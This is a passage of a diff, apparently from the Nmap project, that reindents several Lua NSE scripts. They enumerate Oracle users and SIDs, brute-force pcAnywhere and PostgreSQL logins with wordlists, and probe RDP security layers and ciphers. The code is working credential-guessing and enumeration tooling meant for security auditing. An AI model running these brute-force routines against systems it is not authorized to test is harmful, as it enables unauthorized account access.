-- It's unlikely that we hit 3 random combinations as valid users
|
||||
if ( count > 60 ) then
|
||||
return stdnse.format_output(true, ("ERROR: %d of %d random accounts were detected (Patched Oracle 11G or Oracle 11G R2)"):format(count/20, 10))
|
||||
end
|
||||
-- It's unlikely that we hit 3 random combinations as valid users
|
||||
if ( count > 60 ) then
|
||||
return stdnse.format_output(true, ("ERROR: %d of %d random accounts were detected (Patched Oracle 11G or Oracle 11G R2)"):format(count/20, 10))
|
||||
end
|
||||
|
||||
for user in usernames do
|
||||
status, salt = checkAccount(host, port, user)
|
||||
if ( not(status) ) then return salt end
|
||||
if ( salt and #salt == 20 ) then
|
||||
table.insert( result, ("%s is a valid user account"):format(user))
|
||||
end
|
||||
end
|
||||
for user in usernames do
|
||||
status, salt = checkAccount(host, port, user)
|
||||
if ( not(status) ) then return salt end
|
||||
if ( salt and #salt == 20 ) then
|
||||
table.insert( result, ("%s is a valid user account"):format(user))
|
||||
end
|
||||
end
|
||||
|
||||
if ( #result == 0 ) then
|
||||
table.insert( result, "Failed to find any valid user accounts")
|
||||
end
|
||||
if ( #result == 0 ) then
|
||||
table.insert( result, "Failed to find any valid user accounts")
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, result)
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
|
||||
@@ -55,15 +55,15 @@ local tns_type = {CONNECT=1, REFUSE=4, REDIRECT=5, RESEND=11}
|
||||
--
|
||||
local function create_tns_header(packetType, packetLength)
|
||||
|
||||
local request = bin.pack( ">SSCCS",
|
||||
packetLength + 34, -- Packet Length
|
||||
0, -- Packet Checksum
|
||||
tns_type[packetType], -- Packet Type
|
||||
0, -- Reserved Byte
|
||||
0 -- Header Checksum
|
||||
)
|
||||
local request = bin.pack( ">SSCCS",
|
||||
packetLength + 34, -- Packet Length
|
||||
0, -- Packet Checksum
|
||||
tns_type[packetType], -- Packet Type
|
||||
0, -- Reserved Byte
|
||||
0 -- Header Checksum
|
||||
)
|
||||
|
||||
return request
|
||||
return request
|
||||
|
||||
end
|
||||
|
||||
@@ -77,32 +77,32 @@ end
|
||||
--
|
||||
local function create_connect_packet( host_ip, port_no, sid )
|
||||
|
||||
local connect_data = "(DESCRIPTION=(CONNECT_DATA=(SID=" .. sid .. ")"
|
||||
connect_data = connect_data .. "(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))"
|
||||
connect_data = connect_data .. "(ADDRESS=(PROTOCOL=tcp)(HOST=" .. host_ip .. ")"
|
||||
connect_data = connect_data .. "(PORT=" .. port_no .. ")))"
|
||||
local connect_data = "(DESCRIPTION=(CONNECT_DATA=(SID=" .. sid .. ")"
|
||||
connect_data = connect_data .. "(CID=(PROGRAM=)(HOST=__jdbc__)(USER=)))"
|
||||
connect_data = connect_data .. "(ADDRESS=(PROTOCOL=tcp)(HOST=" .. host_ip .. ")"
|
||||
connect_data = connect_data .. "(PORT=" .. port_no .. ")))"
|
||||
|
||||
local data = bin.pack(">SSSSSSSSSSICCA",
|
||||
308, -- Version
|
||||
300, -- Version (Compatibility)
|
||||
0, -- Service Options
|
||||
2048, -- Session Data Unit Size
|
||||
32767, -- Maximum Transmission Data Unit Size
|
||||
20376, -- NT Protocol Characteristics
|
||||
0, -- Line Turnaround Value
|
||||
1, -- Value of 1 in Hardware
|
||||
connect_data:len(), -- Length of connect data
|
||||
34, -- Offset to connect data
|
||||
0, -- Maximum Receivable Connect Data
|
||||
1, -- Connect Flags 0
|
||||
1, -- Connect Flags 1
|
||||
connect_data
|
||||
)
|
||||
local data = bin.pack(">SSSSSSSSSSICCA",
|
||||
308, -- Version
|
||||
300, -- Version (Compatibility)
|
||||
0, -- Service Options
|
||||
2048, -- Session Data Unit Size
|
||||
32767, -- Maximum Transmission Data Unit Size
|
||||
20376, -- NT Protocol Characteristics
|
||||
0, -- Line Turnaround Value
|
||||
1, -- Value of 1 in Hardware
|
||||
connect_data:len(), -- Length of connect data
|
||||
34, -- Offset to connect data
|
||||
0, -- Maximum Receivable Connect Data
|
||||
1, -- Connect Flags 0
|
||||
1, -- Connect Flags 1
|
||||
connect_data
|
||||
)
|
||||
|
||||
|
||||
local header = create_tns_header("CONNECT", connect_data:len() )
|
||||
local header = create_tns_header("CONNECT", connect_data:len() )
|
||||
|
||||
return header .. data
|
||||
return header .. data
|
||||
|
||||
end
|
||||
|
||||
@@ -113,61 +113,61 @@ end
|
||||
--
|
||||
local function process_tns_packet( packet )
|
||||
|
||||
local tnspacket = {}
|
||||
local tnspacket = {}
|
||||
|
||||
-- just pull out the bare minimum to be able to match
|
||||
local _
|
||||
_, tnspacket.Length, tnspacket.Checksum, tnspacket.Type = bin.unpack(">SSC", packet)
|
||||
-- just pull out the bare minimum to be able to match
|
||||
local _
|
||||
_, tnspacket.Length, tnspacket.Checksum, tnspacket.Type = bin.unpack(">SSC", packet)
|
||||
|
||||
return tnspacket
|
||||
return tnspacket
|
||||
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local found_sids = {}
|
||||
local socket = nmap.new_socket()
|
||||
local catch = function() socket:close() end
|
||||
local try = nmap.new_try(catch)
|
||||
local request, response, tns_packet
|
||||
local sidfile
|
||||
local found_sids = {}
|
||||
local socket = nmap.new_socket()
|
||||
local catch = function() socket:close() end
|
||||
local try = nmap.new_try(catch)
|
||||
local request, response, tns_packet
|
||||
local sidfile
|
||||
|
||||
socket:set_timeout(5000)
|
||||
socket:set_timeout(5000)
|
||||
|
||||
-- open the sid file specified by the user or fallback to the default oracle-sids file
|
||||
local sidfilename = nmap.registry.args.oraclesids or nmap.fetchfile("nselib/data/oracle-sids")
|
||||
-- open the sid file specified by the user or fallback to the default oracle-sids file
|
||||
local sidfilename = nmap.registry.args.oraclesids or nmap.fetchfile("nselib/data/oracle-sids")
|
||||
|
||||
sidfile = io.open(sidfilename)
|
||||
sidfile = io.open(sidfilename)
|
||||
|
||||
if not sidfile then
|
||||
return
|
||||
end
|
||||
if not sidfile then
|
||||
return
|
||||
end
|
||||
|
||||
-- read sids line-by-line from the sidfile
|
||||
for sid in sidfile:lines() do
|
||||
-- read sids line-by-line from the sidfile
|
||||
for sid in sidfile:lines() do
|
||||
|
||||
-- check for comments
|
||||
if not sid:match("#!comment:") then
|
||||
-- check for comments
|
||||
if not sid:match("#!comment:") then
|
||||
|
||||
try(socket:connect(host, port))
|
||||
request = create_connect_packet( host.ip, port.number, sid )
|
||||
try(socket:send(request))
|
||||
response = try(socket:receive_bytes(1))
|
||||
tns_packet = process_tns_packet(response)
|
||||
try(socket:connect(host, port))
|
||||
request = create_connect_packet( host.ip, port.number, sid )
|
||||
try(socket:send(request))
|
||||
response = try(socket:receive_bytes(1))
|
||||
tns_packet = process_tns_packet(response)
|
||||
|
||||
-- If we get anything other than REFUSE consider it as a valid SID
|
||||
if tns_packet.Type ~= tns_type.REFUSE then
|
||||
table.insert(found_sids, sid)
|
||||
end
|
||||
-- If we get anything other than REFUSE consider it as a valid SID
|
||||
if tns_packet.Type ~= tns_type.REFUSE then
|
||||
table.insert(found_sids, sid)
|
||||
end
|
||||
|
||||
try(socket:close())
|
||||
try(socket:close())
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
sidfile:close()
|
||||
sidfile:close()
|
||||
|
||||
return stdnse.format_output(true, found_sids)
|
||||
return stdnse.format_output(true, found_sids)
|
||||
|
||||
end
|
||||
|
||||
@@ -44,118 +44,118 @@ arg_timeout = (arg_timeout or 10) * 1000
|
||||
|
||||
-- implements simple xor based encryption which the server expects
|
||||
local function encrypt(data)
|
||||
local result = {}
|
||||
local xor_key = 0xab
|
||||
local k = 0
|
||||
if data then
|
||||
result[1] = bit.bxor(string.byte(data),xor_key)
|
||||
for i = 2,string.len(data) do
|
||||
result[i] = bit.bxor(result[i-1],string.byte(data,i),i-2)
|
||||
end
|
||||
end
|
||||
return string.char(table.unpack(result))
|
||||
local result = {}
|
||||
local xor_key = 0xab
|
||||
local k = 0
|
||||
if data then
|
||||
result[1] = bit.bxor(string.byte(data),xor_key)
|
||||
for i = 2,string.len(data) do
|
||||
result[i] = bit.bxor(result[i-1],string.byte(data,i),i-2)
|
||||
end
|
||||
end
|
||||
return string.char(table.unpack(result))
|
||||
end
|
||||
|
||||
local retry = false -- true means we found valid login and need to wait
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
self.socket = nmap.new_socket()
|
||||
local response
|
||||
local err
|
||||
local status = false
|
||||
connect = function( self )
|
||||
self.socket = nmap.new_socket()
|
||||
local response
|
||||
local err
|
||||
local status = false
|
||||
|
||||
stdnse.sleep(2)
|
||||
-- when we hit a valid login pair, server enters some kind of locked state
|
||||
-- so we need to wait for some time before trying next pair
|
||||
-- variable "retry" signifies if we need to wait or this is just not pcAnywhere server
|
||||
while not status do
|
||||
status, err = self.socket:connect(self.host, self.port)
|
||||
self.socket:set_timeout(arg_timeout)
|
||||
if(not(status)) then
|
||||
return false, brute.Error:new( "Couldn't connect to host: " .. err )
|
||||
end
|
||||
status, err = self.socket:send(bin.pack("H","00000000")) --initial hello
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
if not status and not retry then
|
||||
break
|
||||
end
|
||||
stdnse.print_debug("in a loop")
|
||||
stdnse.sleep(2) -- needs relatively big timeout between retries
|
||||
end
|
||||
if not status or string.find(response,"Please press <Enter>") == nil then
|
||||
--probably not pcanywhere
|
||||
stdnse.print_debug(1, "%s: not pcAnywhere", SCRIPT_NAME)
|
||||
return false, brute.Error:new( "Probably not pcAnywhere." )
|
||||
end
|
||||
retry = false
|
||||
status, err = self.socket:send(bin.pack("H","6f06ff")) -- downgrade into legacy mode
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
stdnse.sleep(2)
|
||||
-- when we hit a valid login pair, server enters some kind of locked state
|
||||
-- so we need to wait for some time before trying next pair
|
||||
-- variable "retry" signifies if we need to wait or this is just not pcAnywhere server
|
||||
while not status do
|
||||
status, err = self.socket:connect(self.host, self.port)
|
||||
self.socket:set_timeout(arg_timeout)
|
||||
if(not(status)) then
|
||||
return false, brute.Error:new( "Couldn't connect to host: " .. err )
|
||||
end
|
||||
status, err = self.socket:send(bin.pack("H","00000000")) --initial hello
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
if not status and not retry then
|
||||
break
|
||||
end
|
||||
stdnse.print_debug("in a loop")
|
||||
stdnse.sleep(2) -- needs relatively big timeout between retries
|
||||
end
|
||||
if not status or string.find(response,"Please press <Enter>") == nil then
|
||||
--probably not pcanywhere
|
||||
stdnse.print_debug(1, "%s: not pcAnywhere", SCRIPT_NAME)
|
||||
return false, brute.Error:new( "Probably not pcAnywhere." )
|
||||
end
|
||||
retry = false
|
||||
status, err = self.socket:send(bin.pack("H","6f06ff")) -- downgrade into legacy mode
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
|
||||
status, err = self.socket:send(bin.pack("H","6f61000900fe0000ffff00000000")) -- auth capabilities I
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
status, err = self.socket:send(bin.pack("H","6f61000900fe0000ffff00000000")) -- auth capabilities I
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
|
||||
status, err = self.socket:send(bin.pack("H","6f620102000000")) -- auth capabilities II
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
if not status or (string.find(response,"Enter user name") == nil and string.find(response,"Enter login name") == nil) then
|
||||
stdnse.print_debug(1, "%s: handshake failed", SCRIPT_NAME)
|
||||
return false, brute.Error:new( "Handshake failed." )
|
||||
end
|
||||
return true
|
||||
end,
|
||||
status, err = self.socket:send(bin.pack("H","6f620102000000")) -- auth capabilities II
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
if not status or (string.find(response,"Enter user name") == nil and string.find(response,"Enter login name") == nil) then
|
||||
stdnse.print_debug(1, "%s: handshake failed", SCRIPT_NAME)
|
||||
return false, brute.Error:new( "Handshake failed." )
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function (self, user, pass)
|
||||
local response
|
||||
local err
|
||||
local status
|
||||
stdnse.print_debug( "Trying %s/%s ...", user, pass )
|
||||
-- send username and password
|
||||
-- both are prefixed with 0x06, size and are encrypted
|
||||
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(user)) .. encrypt(user) ) -- send username
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
if not status or string.find(response,"Enter password") == nil then
|
||||
stdnse.print_debug(1, "%s: Sending username failed", SCRIPT_NAME)
|
||||
return false, brute.Error:new( "Sending username failed." )
|
||||
end
|
||||
-- send password
|
||||
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(pass)) .. encrypt(pass) ) -- send password
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
if not status or string.find(response,"Login unsuccessful") or string.find(response,"Invalid login.")then
|
||||
stdnse.print_debug(1, "%s: Incorrect username or password", SCRIPT_NAME)
|
||||
return false, brute.Error:new( "Incorrect username or password." )
|
||||
end
|
||||
login = function (self, user, pass)
|
||||
local response
|
||||
local err
|
||||
local status
|
||||
stdnse.print_debug( "Trying %s/%s ...", user, pass )
|
||||
-- send username and password
|
||||
-- both are prefixed with 0x06, size and are encrypted
|
||||
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(user)) .. encrypt(user) ) -- send username
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
if not status or string.find(response,"Enter password") == nil then
|
||||
stdnse.print_debug(1, "%s: Sending username failed", SCRIPT_NAME)
|
||||
return false, brute.Error:new( "Sending username failed." )
|
||||
end
|
||||
-- send password
|
||||
status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(pass)) .. encrypt(pass) ) -- send password
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
if not status or string.find(response,"Login unsuccessful") or string.find(response,"Invalid login.")then
|
||||
stdnse.print_debug(1, "%s: Incorrect username or password", SCRIPT_NAME)
|
||||
return false, brute.Error:new( "Incorrect username or password." )
|
||||
end
|
||||
|
||||
if status then
|
||||
retry = true -- now the server is in "locked mode", we need to retry next connection a few times
|
||||
return true, brute.Account:new( user, pass, creds.State.VALID)
|
||||
end
|
||||
return false,brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
if status then
|
||||
retry = true -- now the server is in "locked mode", we need to retry next connection a few times
|
||||
return true, brute.Account:new( user, pass, creds.State.VALID)
|
||||
end
|
||||
return false,brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
self.socket:close()
|
||||
return true
|
||||
end
|
||||
disconnect = function( self )
|
||||
self.socket:close()
|
||||
return true
|
||||
end
|
||||
|
||||
}
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.max_threads = 1 -- pcAnywhere supports only one login at a time
|
||||
status, result = engine:start()
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.max_threads = 1 -- pcAnywhere supports only one login at a time
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -53,113 +53,113 @@ portrule = shortport.port_or_service(5432, "postgresql")
|
||||
-- @param ssl boolean, if true connect using SSL
|
||||
-- @return socket connected to server
|
||||
local function connectSocket(host, port, ssl)
|
||||
local socket = nmap.new_socket()
|
||||
local socket = nmap.new_socket()
|
||||
|
||||
-- set a reasonable timeout value
|
||||
socket:set_timeout(5000)
|
||||
socket:connect(host, port)
|
||||
-- set a reasonable timeout value
|
||||
socket:set_timeout(5000)
|
||||
socket:connect(host, port)
|
||||
|
||||
-- let's be responsible and avoid sending communication in the clear
|
||||
if ( ssl ) then
|
||||
local status = pgsql.requestSSL(socket)
|
||||
if ( status ) then
|
||||
socket:reconnect_ssl()
|
||||
end
|
||||
end
|
||||
return socket
|
||||
-- let's be responsible and avoid sending communication in the clear
|
||||
if ( ssl ) then
|
||||
local status = pgsql.requestSSL(socket)
|
||||
if ( status ) then
|
||||
socket:reconnect_ssl()
|
||||
end
|
||||
end
|
||||
return socket
|
||||
end
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local status, response, ssl_enable, output
|
||||
local result, response, status, nossl = {}, nil, nil, false
|
||||
local valid_accounts = {}
|
||||
local pg
|
||||
local status, response, ssl_enable, output
|
||||
local result, response, status, nossl = {}, nil, nil, false
|
||||
local valid_accounts = {}
|
||||
local pg
|
||||
|
||||
if ( nmap.registry.args['pgsql.version'] ) then
|
||||
if ( tonumber(nmap.registry.args['pgsql.version']) == 2 ) then
|
||||
pg = pgsql.v2
|
||||
elseif ( tonumber(nmap.registry.args['pgsql.version']) == 3 ) then
|
||||
pg = pgsql.v3
|
||||
else
|
||||
stdnse.print_debug("pgsql-brute: Unsupported version %s", nmap.registry.args['pgsql.version'])
|
||||
return
|
||||
end
|
||||
else
|
||||
pg = pgsql.detectVersion(host, port )
|
||||
end
|
||||
if ( nmap.registry.args['pgsql.version'] ) then
|
||||
if ( tonumber(nmap.registry.args['pgsql.version']) == 2 ) then
|
||||
pg = pgsql.v2
|
||||
elseif ( tonumber(nmap.registry.args['pgsql.version']) == 3 ) then
|
||||
pg = pgsql.v3
|
||||
else
|
||||
stdnse.print_debug("pgsql-brute: Unsupported version %s", nmap.registry.args['pgsql.version'])
|
||||
return
|
||||
end
|
||||
else
|
||||
pg = pgsql.detectVersion(host, port )
|
||||
end
|
||||
|
||||
local usernames, passwords
|
||||
status, usernames = unpwdb.usernames()
|
||||
if ( not(status) ) then return end
|
||||
local usernames, passwords
|
||||
status, usernames = unpwdb.usernames()
|
||||
if ( not(status) ) then return end
|
||||
|
||||
status, passwords = unpwdb.passwords()
|
||||
if ( not(status) ) then return end
|
||||
status, passwords = unpwdb.passwords()
|
||||
if ( not(status) ) then return end
|
||||
|
||||
-- If the user explicitly does not disable SSL, enforce it
|
||||
if ( ( nmap.registry.args['pgsql.nossl'] == 'true' ) or
|
||||
( nmap.registry.args['pgsql.nossl'] == '1' ) ) then
|
||||
nossl = true
|
||||
end
|
||||
-- If the user explicitly does not disable SSL, enforce it
|
||||
if ( ( nmap.registry.args['pgsql.nossl'] == 'true' ) or
|
||||
( nmap.registry.args['pgsql.nossl'] == '1' ) ) then
|
||||
nossl = true
|
||||
end
|
||||
|
||||
for username in usernames do
|
||||
ssl_enable = not(nossl)
|
||||
for password in passwords do
|
||||
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
|
||||
local socket = connectSocket( host, port, ssl_enable )
|
||||
status, response = pg.sendStartup(socket, username, username)
|
||||
for username in usernames do
|
||||
ssl_enable = not(nossl)
|
||||
for password in passwords do
|
||||
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
|
||||
local socket = connectSocket( host, port, ssl_enable )
|
||||
status, response = pg.sendStartup(socket, username, username)
|
||||
|
||||
-- if nossl is enforced by the user, we're done
|
||||
if ( not(status) and nossl ) then
|
||||
break
|
||||
end
|
||||
-- if nossl is enforced by the user, we're done
|
||||
if ( not(status) and nossl ) then
|
||||
break
|
||||
end
|
||||
|
||||
-- SSL failed, this can occure due to:
|
||||
-- 1. The server does not do SSL
|
||||
-- 2. SSL was denied on a per host or network level
|
||||
--
|
||||
-- Attempt SSL connection
|
||||
if ( not(status) ) then
|
||||
socket:close()
|
||||
ssl_enable = false
|
||||
socket = connectSocket( host, port, ssl_enable )
|
||||
status, response = pg.sendStartup(socket, username, username)
|
||||
if (not(status)) then
|
||||
if ( response:match("no pg_hba.conf entry for host") ) then
|
||||
stdnse.print_debug("The host was denied access to db \"%s\" as user \"%s\", aborting ...", username, username )
|
||||
break
|
||||
else
|
||||
stdnse.print_debug("pgsql-brute: sendStartup returned: %s", response )
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
-- SSL failed, this can occure due to:
|
||||
-- 1. The server does not do SSL
|
||||
-- 2. SSL was denied on a per host or network level
|
||||
--
|
||||
-- Attempt SSL connection
|
||||
if ( not(status) ) then
|
||||
socket:close()
|
||||
ssl_enable = false
|
||||
socket = connectSocket( host, port, ssl_enable )
|
||||
status, response = pg.sendStartup(socket, username, username)
|
||||
if (not(status)) then
|
||||
if ( response:match("no pg_hba.conf entry for host") ) then
|
||||
stdnse.print_debug("The host was denied access to db \"%s\" as user \"%s\", aborting ...", username, username )
|
||||
break
|
||||
else
|
||||
stdnse.print_debug("pgsql-brute: sendStartup returned: %s", response )
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- Do not attempt to authenticate if authentication type is trusted
|
||||
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
|
||||
status, response = pg.loginRequest( socket, response, username, password, response.salt)
|
||||
end
|
||||
-- Do not attempt to authenticate if authentication type is trusted
|
||||
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
|
||||
status, response = pg.loginRequest( socket, response, username, password, response.salt)
|
||||
end
|
||||
|
||||
if status then
|
||||
-- Add credentials for other pgsql scripts to use
|
||||
if nmap.registry.pgsqlusers == nil then
|
||||
nmap.registry.pgsqlusers = {}
|
||||
end
|
||||
nmap.registry.pgsqlusers[username]=password
|
||||
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
|
||||
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
|
||||
else
|
||||
table.insert( valid_accounts, string.format("%s => Trusted authentication", username ) )
|
||||
end
|
||||
break
|
||||
end
|
||||
socket:close()
|
||||
end
|
||||
passwords("reset")
|
||||
end
|
||||
if status then
|
||||
-- Add credentials for other pgsql scripts to use
|
||||
if nmap.registry.pgsqlusers == nil then
|
||||
nmap.registry.pgsqlusers = {}
|
||||
end
|
||||
nmap.registry.pgsqlusers[username]=password
|
||||
if ( response.authtype ~= pgsql.AuthenticationType.Success ) then
|
||||
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
|
||||
else
|
||||
table.insert( valid_accounts, string.format("%s => Trusted authentication", username ) )
|
||||
end
|
||||
break
|
||||
end
|
||||
socket:close()
|
||||
end
|
||||
passwords("reset")
|
||||
end
|
||||
|
||||
output = stdnse.format_output(true, valid_accounts)
|
||||
output = stdnse.format_output(true, valid_accounts)
|
||||
|
||||
return output
|
||||
return output
|
||||
|
||||
end
|
||||
|
||||
@@ -41,123 +41,123 @@ categories = {"safe", "discovery"}
|
||||
portrule = shortport.port_or_service(3389, "ms-wbt-server")
|
||||
|
||||
local function enum_protocols(host, port)
|
||||
local PROTOCOLS = {
|
||||
["Native RDP"] = 0,
|
||||
["SSL"] = 1,
|
||||
["CredSSP"] = 3
|
||||
}
|
||||
local PROTOCOLS = {
|
||||
["Native RDP"] = 0,
|
||||
["SSL"] = 1,
|
||||
["CredSSP"] = 3
|
||||
}
|
||||
|
||||
local ERRORS = {
|
||||
[1] = "SSL_REQUIRED_BY_SERVER",
|
||||
[2] = "SSL_NOT_ALLOWED_BY_SERVER",
|
||||
[3] = "SSL_CERT_NOT_ON_SERVER",
|
||||
[4] = "INCONSISTENT_FLAGS",
|
||||
[5] = "HYBRID_REQUIRED_BY_SERVER"
|
||||
}
|
||||
local ERRORS = {
|
||||
[1] = "SSL_REQUIRED_BY_SERVER",
|
||||
[2] = "SSL_NOT_ALLOWED_BY_SERVER",
|
||||
[3] = "SSL_CERT_NOT_ON_SERVER",
|
||||
[4] = "INCONSISTENT_FLAGS",
|
||||
[5] = "HYBRID_REQUIRED_BY_SERVER"
|
||||
}
|
||||
|
||||
local res_proto = { name = "Security layer" }
|
||||
local res_proto = { name = "Security layer" }
|
||||
|
||||
for k, v in pairs(PROTOCOLS) do
|
||||
local comm = rdp.Comm:new(host, port)
|
||||
if ( not(comm:connect()) ) then
|
||||
return false, "ERROR: Failed to connect to server"
|
||||
end
|
||||
local cr = rdp.Request.ConnectionRequest:new(v)
|
||||
local status, response = comm:exch(cr)
|
||||
comm:close()
|
||||
if ( not(status) ) then
|
||||
return false, response
|
||||
end
|
||||
for k, v in pairs(PROTOCOLS) do
|
||||
local comm = rdp.Comm:new(host, port)
|
||||
if ( not(comm:connect()) ) then
|
||||
return false, "ERROR: Failed to connect to server"
|
||||
end
|
||||
local cr = rdp.Request.ConnectionRequest:new(v)
|
||||
local status, response = comm:exch(cr)
|
||||
comm:close()
|
||||
if ( not(status) ) then
|
||||
return false, response
|
||||
end
|
||||
|
||||
local pos, success = bin.unpack("C", response.itut.data)
|
||||
if ( success == 2 ) then
|
||||
table.insert(res_proto, ("%s: SUCCESS"):format(k))
|
||||
elseif ( nmap.debugging() > 0 ) then
|
||||
local pos, err = bin.unpack("C", response.itut.data, 5)
|
||||
if ( err > 0 ) then
|
||||
table.insert(res_proto, ("%s: FAILED (%s)"):format(k, ERRORS[err] or "Unknown"))
|
||||
else
|
||||
table.insert(res_proto, ("%s: FAILED"):format(k))
|
||||
end
|
||||
end
|
||||
end
|
||||
table.sort(res_proto)
|
||||
return true, res_proto
|
||||
local pos, success = bin.unpack("C", response.itut.data)
|
||||
if ( success == 2 ) then
|
||||
table.insert(res_proto, ("%s: SUCCESS"):format(k))
|
||||
elseif ( nmap.debugging() > 0 ) then
|
||||
local pos, err = bin.unpack("C", response.itut.data, 5)
|
||||
if ( err > 0 ) then
|
||||
table.insert(res_proto, ("%s: FAILED (%s)"):format(k, ERRORS[err] or "Unknown"))
|
||||
else
|
||||
table.insert(res_proto, ("%s: FAILED"):format(k))
|
||||
end
|
||||
end
|
||||
end
|
||||
table.sort(res_proto)
|
||||
return true, res_proto
|
||||
end
|
||||
|
||||
local function enum_ciphers(host, port)
|
||||
|
||||
local CIPHERS = {
|
||||
{ ["40-bit RC4"] = 1 },
|
||||
{ ["56-bit RC4"] = 8 },
|
||||
{ ["128-bit RC4"] = 2 },
|
||||
{ ["FIPS 140-1"] = 16 }
|
||||
}
|
||||
local CIPHERS = {
|
||||
{ ["40-bit RC4"] = 1 },
|
||||
{ ["56-bit RC4"] = 8 },
|
||||
{ ["128-bit RC4"] = 2 },
|
||||
{ ["FIPS 140-1"] = 16 }
|
||||
}
|
||||
|
||||
local ENC_LEVELS = {
|
||||
[0] = "None",
|
||||
[1] = "Low",
|
||||
[2] = "Client Compatible",
|
||||
[3] = "High",
|
||||
[4] = "FIPS Compliant",
|
||||
}
|
||||
local ENC_LEVELS = {
|
||||
[0] = "None",
|
||||
[1] = "Low",
|
||||
[2] = "Client Compatible",
|
||||
[3] = "High",
|
||||
[4] = "FIPS Compliant",
|
||||
}
|
||||
|
||||
local res_ciphers = {}
|
||||
local res_ciphers = {}
|
||||
|
||||
local function get_ordered_ciphers()
|
||||
local i = 0
|
||||
return function()
|
||||
i = i + 1
|
||||
if ( not(CIPHERS[i]) ) then return end
|
||||
for k,v in pairs(CIPHERS[i]) do
|
||||
return k, v
|
||||
end
|
||||
end
|
||||
end
|
||||
local function get_ordered_ciphers()
|
||||
local i = 0
|
||||
return function()
|
||||
i = i + 1
|
||||
if ( not(CIPHERS[i]) ) then return end
|
||||
for k,v in pairs(CIPHERS[i]) do
|
||||
return k, v
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
for k, v in get_ordered_ciphers() do
|
||||
local comm = rdp.Comm:new(host, port)
|
||||
if ( not(comm:connect()) ) then
|
||||
return false, "ERROR: Failed to connect to server"
|
||||
end
|
||||
for k, v in get_ordered_ciphers() do
|
||||
local comm = rdp.Comm:new(host, port)
|
||||
if ( not(comm:connect()) ) then
|
||||
return false, "ERROR: Failed to connect to server"
|
||||
end
|
||||
|
||||
local cr = rdp.Request.ConnectionRequest:new()
|
||||
local status, response = comm:exch(cr)
|
||||
if ( not(status) ) then
|
||||
break
|
||||
end
|
||||
local cr = rdp.Request.ConnectionRequest:new()
|
||||
local status, response = comm:exch(cr)
|
||||
if ( not(status) ) then
|
||||
break
|
||||
end
|
||||
|
||||
local msc = rdp.Request.MCSConnectInitial:new(v)
|
||||
local status, response = comm:exch(msc)
|
||||
comm:close()
|
||||
if ( status ) then
|
||||
local pos, enc_level = bin.unpack("C", response.itut.data, 95 + 8)
|
||||
local pos, enc_cipher= bin.unpack("C", response.itut.data, 95 + 4)
|
||||
if ( enc_cipher == v ) then
|
||||
table.insert(res_ciphers, ("%s: SUCCESS"):format(k))
|
||||
end
|
||||
res_ciphers.name = ("RDP Encryption level: %s"):format(ENC_LEVELS[enc_level] or "Unknown")
|
||||
elseif ( nmap.debugging() > 0 ) then
|
||||
table.insert(res_ciphers, ("%s: FAILURE"):format(k))
|
||||
end
|
||||
end
|
||||
return true, res_ciphers
|
||||
local msc = rdp.Request.MCSConnectInitial:new(v)
|
||||
local status, response = comm:exch(msc)
|
||||
comm:close()
|
||||
if ( status ) then
|
||||
local pos, enc_level = bin.unpack("C", response.itut.data, 95 + 8)
|
||||
local pos, enc_cipher= bin.unpack("C", response.itut.data, 95 + 4)
|
||||
if ( enc_cipher == v ) then
|
||||
table.insert(res_ciphers, ("%s: SUCCESS"):format(k))
|
||||
end
|
||||
res_ciphers.name = ("RDP Encryption level: %s"):format(ENC_LEVELS[enc_level] or "Unknown")
|
||||
elseif ( nmap.debugging() > 0 ) then
|
||||
table.insert(res_ciphers, ("%s: FAILURE"):format(k))
|
||||
end
|
